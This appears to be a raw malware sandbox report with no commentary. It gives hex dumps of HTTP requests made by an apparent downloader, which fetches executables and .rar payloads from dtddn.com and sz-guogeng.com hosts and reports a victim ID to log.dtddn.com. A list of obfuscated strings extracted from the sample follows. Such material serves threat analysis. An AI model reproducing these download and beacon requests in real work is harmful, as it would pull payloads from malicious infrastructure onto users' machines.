0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f37342e 72617220 48545450   GET /74.rar HTTP
0x00000010 (00016)   2f312e31 0d0a4163 63657074 3a202a2f   /1.1..Accept: */
0x00000020 (00032)   2a0d0a55 7365722d 4167656e 743a204d   *..User-Agent: M
0x00000030 (00048)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000040 (00064)   61746962 6c653b20 57696e33 323b2057   atible; Win32; W
0x00000050 (00080)   696e4874 74702e57 696e4874 74705265   inHttp.WinHttpRe
0x00000060 (00096)   71756573 742e3529 0d0a486f 73743a20   quest.5)..Host: 
0x00000070 (00112)   646f776e 2e647464 646e2e63 6f6d0d0a   down.dtddn.com..
0x00000080 (00128)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x00000090 (00144)   2d416c69 76650d0a 0d0a6c64 6972312e   -Alive....ldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f37342e 72617220 48545450   GET /74.rar HTTP
0x00000010 (00016)   2f312e31 0d0a4163 63657074 3a202a2f   /1.1..Accept: */
0x00000020 (00032)   2a0d0a55 7365722d 4167656e 743a204d   *..User-Agent: M
0x00000030 (00048)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x00000040 (00064)   61746962 6c653b20 57696e33 323b2057   atible; Win32; W
0x00000050 (00080)   696e4874 74702e57 696e4874 74705265   inHttp.WinHttpRe
0x00000060 (00096)   71756573 742e3529 0d0a486f 73743a20   quest.5)..Host: 
0x00000070 (00112)   646f776e 2e737a2d 67756f67 656e672e   down.sz-guogeng.
0x00000080 (00128)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000090 (00144)   204b6565 702d416c 6976650d 0a0d0a2e    Keep-Alive.....
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f55704c 6f67322f 776f726b   GET /UpLog2/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30312532 3051322d 446f776e 4926496e   01%20Q2-DownI&In
0x00000030 (00048)   666f313d 36373034 32313737 32343531   fo1=670421772451
0x00000040 (00064)   25323031 25323030 25323032 20485454   %201%200%202 HTT
0x00000050 (00080)   502f312e 310d0a41 63636570 743a202a   P/1.1..Accept: *
0x00000060 (00096)   2f2a0d0a 55736572 2d416765 6e743a20   /*..User-Agent: 
0x00000070 (00112)   4d6f7a69 6c6c612f 342e3020 28636f6d   Mozilla/4.0 (com
0x00000080 (00128)   70617469 626c653b 2057696e 33323b20   patible; Win32; 
0x00000090 (00144)   57696e48 7474702e 57696e48 74747052   WinHttp.WinHttpR
0x000000a0 (00160)   65717565 73742e35 290d0a48 6f73743a   equest.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f343538 302e7261   GET /lnk/4580.ra
0x00000010 (00016)   72204854 54502f31 2e310d0a 41636365   r HTTP/1.1..Acce
0x00000020 (00032)   70743a20 2a2f2a0d 0a557365 722d4167   pt: */*..User-Ag
0x00000030 (00048)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x00000040 (00064)   2028636f 6d706174 69626c65 3b205769    (compatible; Wi
0x00000050 (00080)   6e33323b 2057696e 48747470 2e57696e   n32; WinHttp.Win
0x00000060 (00096)   48747470 52657175 6573742e 35290d0a   HttpRequest.5)..
0x00000070 (00112)   486f7374 3a206c6e 6b312e64 7464646e   Host: lnk1.dtddn
0x00000080 (00128)   2e636f6d 3a373737 310d0a43 6f6e6e65   .com:7771..Conne
0x00000090 (00144)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000a0 (00160)   650d0a0d 0a742e35 290d0a48 6f73743a   e....t.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a742e35 290d0a48 6f73743a   .....t.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a742e35 290d0a48 6f73743a   .....t.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a742e35 290d0a48 6f73743a   .....t.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a742e35 290d0a48 6f73743a   .....t.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a742e35 290d0a48 6f73743a   .....t.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a742e35 290d0a48 6f73743a   .....t.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 322e6474 64646e2e   ost: lnk2.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a742e35 290d0a48 6f73743a   .....t.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....

0x00000000 (00000)   47455420 2f6c6e6b 2f363332 2e726172   GET /lnk/632.rar
0x00000010 (00016)   20485454 502f312e 310d0a41 63636570    HTTP/1.1..Accep
0x00000020 (00032)   743a202a 2f2a0d0a 55736572 2d416765   t: */*..User-Age
0x00000030 (00048)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000040 (00064)   28636f6d 70617469 626c653b 2057696e   (compatible; Win
0x00000050 (00080)   33323b20 57696e48 7474702e 57696e48   32; WinHttp.WinH
0x00000060 (00096)   74747052 65717565 73742e35 290d0a48   ttpRequest.5)..H
0x00000070 (00112)   6f73743a 206c6e6b 312e6474 64646e2e   ost: lnk1.dtddn.
0x00000080 (00128)   636f6d3a 37373731 0d0a436f 6e6e6563   com:7771..Connec
0x00000090 (00144)   74696f6e 3a204b65 65702d41 6c697665   tion: Keep-Alive
0x000000a0 (00160)   0d0a0d0a 0a742e35 290d0a48 6f73743a   .....t.5)..Host:
0x000000b0 (00176)   206c6f67 2e647464 646e2e63 6f6d0d0a    log.dtddn.com..
0x000000c0 (00192)   436f6e6e 65637469 6f6e3a20 4b656570   Connection: Keep
0x000000d0 (00208)   2d416c69 76650d0a 0d0a                -Alive....


Strings
JJJel...

080404B0
0BjfYdDO7sy
0T2lLC8f0Y6nLCVZ1k6SdCyALQ
0ZXp3Y/U8Qrr8K
1.00
1gDhYUasY5ah1LxT
236vnKc12X
3bxySbxgK6xu66erK6mxK6oNKv7tmextM3xtV6xem6xBK6xnK6mWK6UNKSAtmgAtu6xtVexeK6xBK6xnK6mtK67tKvAtKsxtM6xtYsxeK6xPK6xnK6BtK6omKvDtKsxtMxxtVexjK6xB66xCK6mtK67tKvDtmeitM6xtYsxem6xPK6xnK6BtK6imKvAtmextM6xtAsxjK6xBK6xNK6mPK67tKvDtmeitM7xtYsxem6xBYse/K6BtK6itKSAtmextu6xtVexeK6xBK6xnK6mtK67tKvmtme3tu6xtAexem6xPK6x9K6mYK6UmKSAtme3tM1Ata6xjK6xB66xNK6mxK67tKvAtKsxtMxxtVexjK6xa66x9K6BtK6imKvAtmextM6xtAsxjK6xB66xnK6mtK67tKvDtKsxtM3xtYsxeK6xPK6xsK6mxK67tKvmtme3tu6xtV6xeM6x866xNK6mPK6inKM3tKsxtM3xtYsxem6xPK6x9K6mtK6itKvAtmextu6xtAexem6xPK6xsK6mxK67tKvDtmx3tMbxtYsxem6xI66e5K6BtK6imKSAtme3tu6xtVexeK6xBK6xnK6mtK67tKvmtme3tu6xtAexem6xPK6x9K6mtK6itKvAtmextu6xtBexeK6xBK6xNK6mxK67tKv7tKsxtM6xtYsxjaexB66xNK6a5K6imKSAtmeitu6xtVbxjK6xBK6xNK6mxK67tKv7tKsxtMbxtYsxeM6xPK6e5K6BtK6UmKSAtmx7tu6xtVexjK6xIAsxNK6xtKvYtm6xtKMsL
3PVeiJX4yuhzyAhXHDYI/1lhHZtCQgjdnue4
4mStndnwztczcWcG+mcGniHT44qYsbnVU/qz4WHkUmCGpLnY
4w1n41
4xbJ72IDvWIwv23SXzbBv27VPx8
6WEgKRix3c2O3LEYbMi7
6yIZ1Vz0j7KHYtzV
76L5
7yI/Ixq+jYQohPUZNxm
80S1oBoeW12W2c2Qp02QonZj88UIDJoKxfUWjfebx4NK64SQWPZum8x9mH2ij8TgzH7NmVbbm/xiMdOZm8zgmKUymOzbF/70zdinGz
8+3i5fIOC5
8H1lsksgIlEIE+ExBHExsc6Z88Xbh7sV2WQ
8ibqYx
8odn3Ncx3QohUNoOVX
8XbNShU
8ye6q4/RM+JCM8MLwlk
8zW4sea9uQW9/QcCsOagBOm9BQmCB5D0XQ493yNCsol5
97aF
a1qhfp5saKf+JYio+VSL+Eiu0pSd4pi9yuD3yuD3yuDjyuD3yO13yuD3r0D3yuDjy0D3yuD3yuD3yuDiCfivNhf2Zpik+hfzWcSTZ/EoZ7J
A2k8XT5Dx8ZQtQW3bHg
a3GTNC
a53yih1yb0WK8J2O42W3gfb3zz48fnExnnorT0
a7L55v6OXp5nije9n318W1tq44H92M8zK
A82qw42X
adef
adirjao
adjr
ae0LaS
aekbjocpgjayhnwyuykpxclduxpckbljjcewuflsilsszvzlnlhmkpyrxahfndnabpb
aetezdhju
aevltvzmrqtdabqoo
afluewvzianqglqya
afogygsmuftndbhwozgniamvythegjafxclnxgrlwhkrsqwlsgkmwfbsfbpmmmodvlptzws
agahnbkkntxk
aiatnpomwfbxqjzrnioyd
aL51LBJy
alnpfsynvcg
AlTgJGjbGGaAq+U+SEGxqGaL+WjnuyuzLnGLxJRfLnj3XWc8SlR9ueGNXnG8rlGILe5HLnGNSlEz7JI/J3r/CVsIrblNrblErblUrbrNSm
aLyUsOGng6vXsQWYv6vc/69n
ammtmyapatwshnektinbvetihrx
amslsqtepmhgvlyzogrofztptguiuthoiptsjtwxr
aobofxsqhpyky
apbiumgxtzgvzwvuzvvmxbzwk
apxjGbx0VaGBV3Oq
Arguments
arskgatyxtzxyxlwpghjvosnlispxldkouonjdgbkgwabprsridbxbupyvuozdqgfxrawqjonjjgocfuwysgmrd
askyuxzmtspldvt
asubihvigshtgmjg
AtKiYCnlQ3KSB0pSB2P9AtuSBw8sAG5JqCXmb0ILQJ
attlbacgchrtd
atzszemwpntfsrqhlndmgrtfpchjvfukumqopkezheenzfstsojipexlviycoymqpwmwidxjxakpblydhulof
aurxgrrcdrtjseysncku
avmnudb
ayuylqzsrebandseogixfa
azalprhlcwmxbot
azgruirbwqnpxujctsfufwfplpbhmiivsgekjbvypugmrnnaxwyynzjc
B1mjHV3TVVYBtApAzqVftVYMA93OdXdcMOVMVPVso9VsdjutAAYUZSdE4zYMVPjwtOj84B2ZJwK9WThhJfWhJfAhJfrhJ8Yd
B4y4
b6odbnIkbo
B*\AD:\urK5c9h3s1\dbyxghgjcvnnqbv.vbp
bbgouyrxqscvjdlwlrhjoxqwzgpxdykaeflyzpwhavfdzdqmkkzhzdlvovtcssfqykpqhgndnuensqhshorkaqyifrb
bbkuwgymfjwesxh
bbwrfmskt
bcqxcdjikbkluci
befhzpfgewomiqw
BFBKD4
bfvvmomckricqkbdmurjug
bH7N0Z8j9GfEir
bkflqniwccpqcfuypzrapbhvrbzaotjreygotfljqqyodhilcmeahezieeghrwwagltztsywtdabqivzfasohrmvshuvjoth
bkgdfo
bkovqyuobkxeuctygqjojryrfkjpfoxgepsz
blqhv
blydsfurymvaovqzkobxvsxbmqjzdufieormqrbevaiybisqmwdzdppnujlbkwhpgfsdrtdbhmueyfeyjd
boehugtudpvposvrvpktuesyxpcvhwukltebdtardpvoaucgpw
bqeaeydmyighmtuxkfezeqwaxmkvfsxiztwose
bqheyfqfitibx
brfblukfxxmyiwcwtzdakiyelwzxcuaurigzywxwkkobgjptfhvnylmljzopkceivazcbolk
btagoyxttgjylajaxagvinbisqgfhkofpwdhwmahgpftlwaejbxgnijffdtskkosxpvamxvetrsryzuwqieyva
btplydcyighvaaekuxtxxsbmmkvzmpduzcycouszozaergzbvbxqnirodnzdfvopkplpmhvcmklmeucojdzol
bveshvtjrwknypdtdxurowomcop
bxbpkiuylrqjoip
byhuzzvkjqogmwdcpmlyjxtjxixfvyqboazrcrdcfmltknufytcabjwlpgaxoxitbnreqevbo
bzvjGx+IN/Ll4nMaP0lC1npdP3FC9xJqN0XI4Y8
C1tgts4HP/+Ikh
C3rSqg51HgUUaJ
C8h8eJuJ0w4FI9
cbilyhzclcoasyqpm
cbovjrrkjdwcbozhtgypyffznxfwansnzzximyeumlokobgrisfqnfpizoeqzgmugwgrgoyhtkdjnupaxh
ccB7Hah9qg8VqOH
ccgzjseomxhqgkqgtuqxorinprbiibnnljiaatumuqjbmvhmhxwouxo
ccnh645AgG0zL4
CEHTPKz4QSg3T9N0F2v80o
cewedypylqg
cfcmulmeeizjozebwebadedkvyafxdxucbhhulumxsjowcwt
CFI+L8Gm
chavppkseomnmghkrlozdfljffsihxxlchvgkhclhhhix
cjlnxreoelhjb
ClI6M5j
cmdoxytwhlvqzllijykagxhkgkjpnzomctvlzbvyuyvdmyylbandylfn
cnbyhfwcuzhzuteypaelsvwlxcwnxqrsfaoeuxyumczrwlhrezrov
cnlghll
cnllkwf
CompanyName
corkzrssybyw
cowynbixzpykudatrxlmcbbrzjdkuxjtqrklrfvfnxryxrhgtuivetziagq
CreateShortcut
cRnG04ovU+rkN5s/UtioQ7pgr+kiQzXISTf2NEGv
crzeynhawqdzammkbqilfwwzgfsdpqgevzrhbsateywwv
cuqxupyuuwxjlmpwqjpiiomiivmlxaekfidxhclhxklzeeize
CUSTOM
cxhekzvfvhgooypzvwqdyhjjkqpssbdokffsxwiyyfemhwxcyuebmkxwnonfgerljixuftvabr
cybefifeobypwczmxg
cyypmwmbygm
czvnjodwuaizldxa
daclhheflsshjtcycpuzvviftshlyslchtzdaznjilllcwzbvhyxperznqqfrbtaksnqxdlcqzpsuzruivlzvfoazrybsnqh
davyttqmurmkwzijcdymiwtvjfpnojbxqsgzujg
DBJjnVC9dU2Dr
dbyxghgjcvnnqbv
dbyxghgjcvnnqbv.exe
dccagvdexbmuqvidpbgegucsmtsjfzmwlxkxodvbfwhxtdlvuetrtiadwoyrcwuugssghhmclcmfglygkrrfwlsqzgmeqzmvy
DcOXjL58LL6DyVlVrzL7yL6uVw54EFEfu4LuLnLoTwLoEXUyVV6SAsEIvr6u7nXzA4ptdXGSd8TKYBPUaWPUpDPUYDPSai9
dejxnwycfladiwpaiedpkdcwuaohyxeownrtexovyataverqzmqiswdkioiepacbzkjgdhdilswsdoqanzikq
dekjribcmvfiwsaqfxejbbkbpczyvqppob
DenFMO
dgngglkgvtjillricfburaiuuhxwjkfhrjpt
dhgnvkjckq
dhnimotbxhecgdnbrgybuccagdabfrrztsufjqqzvsppegqdi
dixfmip
